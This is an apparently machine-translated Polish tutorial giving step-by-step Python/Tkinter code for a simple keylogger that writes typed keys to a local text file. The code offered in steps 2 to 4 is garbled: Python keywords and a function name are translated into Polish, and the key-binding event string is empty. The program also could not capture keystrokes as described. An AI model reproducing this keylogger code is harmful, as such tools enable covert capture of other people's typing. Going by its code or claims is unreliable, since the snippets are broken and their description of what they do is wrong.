Jak stworzyć keyloggera za pomocą Pythona

Kobieta przy komputerze patrząca przez ramię

Przechwytuj naciśnięcia klawiszy i zapisuj je w pliku.

Źródło obrazu: Jupiterimages/Photos.com/Getty Images

Możesz stworzyć program keyloggera za pomocą Pythona do przechwytywania naciśnięć klawiszy wpisywanych za pomocą klawiatury komputera. Naciśnięcia klawiszy są zapisywane w pliku tekstowym i rejestruje wszystkie dane wejściowe. Możesz użyć keyloggera do monitorowania aktywności na swoim komputerze.

Krok 1

Uruchom IDLE, kliknij menu "Plik" i wybierz "Nowe okno", aby uruchomić nowe okno. Naciśnij Ctrl i S, aby uruchomić okno „Zapisz jako”. Użyj „getKeyLogger” jako nazwy pliku i kliknij „Zapisz”.

Wideo dnia

Krok 2

Dodaj następujący wiersz kodu, aby zaimportować przestrzeń nazw „Tkinter” i zdefiniuj ścieżkę do pliku, którego chcesz użyć do logowania:

importuj Tkinter jako tk myFile = open("C:/temp/keyFile.txt", "w")

Krok 3

Skopiuj i wklej następujący kod, aby zapisać każde naciśnięcie klawisza do pliku:

def keypress (event): if event.keysym == 'Escape': main.destroy() keyPressed = event.char myFile.write (keyPressed)

Krok 4

Dodaj następujący kod, aby poinformować użytkownika, że ​​może zacząć pisać, i że może nacisnąć Esc, aby zakończyć program:

główny = tk. Tk() print "Naciśnij dowolny klawisz (klawisz Escape, aby wyjść):" main.bind_all('', naciśnięcie klawisza) main.withdraw() main.mainloop() myFile.close()

Krok 5

Kliknij przycisk Start „Windows” i wpisz „cmd” w polu „Wyszukaj programy i pliki”. Naciśnij klawisz Enter, aby otworzyć wiersz polecenia. Przejdź do „C:\Python” i wpisz „python getKeyLogger”. Naciśnij klawisz Enter, aby uruchomić program. Przejdź do „C:/temp/” i kliknij dwukrotnie „keyFile.txt”, aby wyświetlić dane dotyczące naciśnięć klawiszy.